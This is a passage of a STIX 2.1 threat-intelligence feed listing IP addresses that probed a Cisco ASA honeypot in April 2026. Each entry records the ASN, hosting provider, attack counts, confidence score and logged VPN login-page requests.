      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-12T00:51:42.479Z",
          "last_seen": "2026-04-25T01:57:00.887Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1a2ba694-7d3e-4276-a99c-2c3df4a4f86d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 17,
          "first_seen": "2026-04-12T00:45:41.521Z",
          "last_seen": "2026-04-25T07:32:55.774Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--46c75f10-5134-495a-bc2b-1905b8f8cd6c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-12T00:56:41.704Z",
          "last_seen": "2026-04-29T22:39:14.909Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3c875aea-1ebc-486d-af44-c0a44ae76523",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-12T01:03:33.076Z",
          "last_seen": "2026-04-18T20:35:30.881Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--693bd743-6751-42b7-a55a-8f05ce7be63b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-12T00:53:13.944Z",
          "last_seen": "2026-04-23T05:20:18.203Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--82b35c10-4faf-406c-94c0-c24ddbccc808",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-12T00:58:18.522Z",
          "last_seen": "2026-04-24T13:52:54.503Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--11e9a360-aef9-43f0-a1dd-99eeb3685c15",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-12T01:14:46.139Z",
          "last_seen": "2026-04-25T06:14:19.215Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f0307064-ba32-4a4e-9744-c158748ccf6c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.152.138.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-12T00:57:52.001Z",
          "last_seen": "2026-04-13T05:22:39.961Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--a0282018-ad90-4150-a2d0-ce44cfc44ad8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.42.218.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-12T01:12:17.633Z",
          "last_seen": "2026-04-13T06:08:24.943Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--aadb970f-afa2-4627-8b31-033fc930a04b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.174.208.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-12T00:56:12.631Z",
          "last_seen": "2026-04-12T00:56:12.631Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d2909f79-f8f7-4571-b18c-7273e860b928",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.221.170.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-12T00:59:19.643Z",
          "last_seen": "2026-04-12T00:59:19.643Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--45cb6ef1-ee9f-4e12-8d95-e3dfd84304e7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.165.128.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-12T02:00:02.963Z",
          "last_seen": "2026-04-13T06:35:52.621Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--a19b6f21-80de-42db-907d-2dc1fb05b913",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.249.167.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-12T01:44:47.559Z",
          "last_seen": "2026-04-12T02:58:53.256Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--4463fdcc-efd8-4b55-a418-a123efc5a1cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.231.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-12T01:35:56.417Z",
          "last_seen": "2026-04-13T11:19:28.554Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--959fc43d-2c91-448b-9652-338d80d8d39f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-12T02:13:58.477Z",
          "last_seen": "2026-04-27T20:50:27.909Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--a7899b7e-2cb4-4c97-8652-86a78bd0415e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-12T01:21:42.893Z",
          "last_seen": "2026-04-27T17:37:33.196Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--85eaa26b-e5c9-48c0-9dfe-c9d44dd74c79",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.1.243.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 33,
          "first_seen": "2026-04-12T02:09:40.331Z",
          "last_seen": "2026-04-15T01:41:33.032Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--5e209e11-ae0b-4da6-83a2-7341c59741dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.88.175.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-12T01:43:16.516Z",
          "last_seen": "2026-04-13T13:11:43.194Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--0a2ce5f7-157b-4beb-b7ec-5faaf2765450",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.88.211.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-12T01:59:47.493Z",
          "last_seen": "2026-04-13T08:19:17.695Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--e8a2c3e4-88d2-45d7-963e-2b48e9564df5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.141.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-12T01:36:52.785Z",
          "last_seen": "2026-04-12T01:37:09.351Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
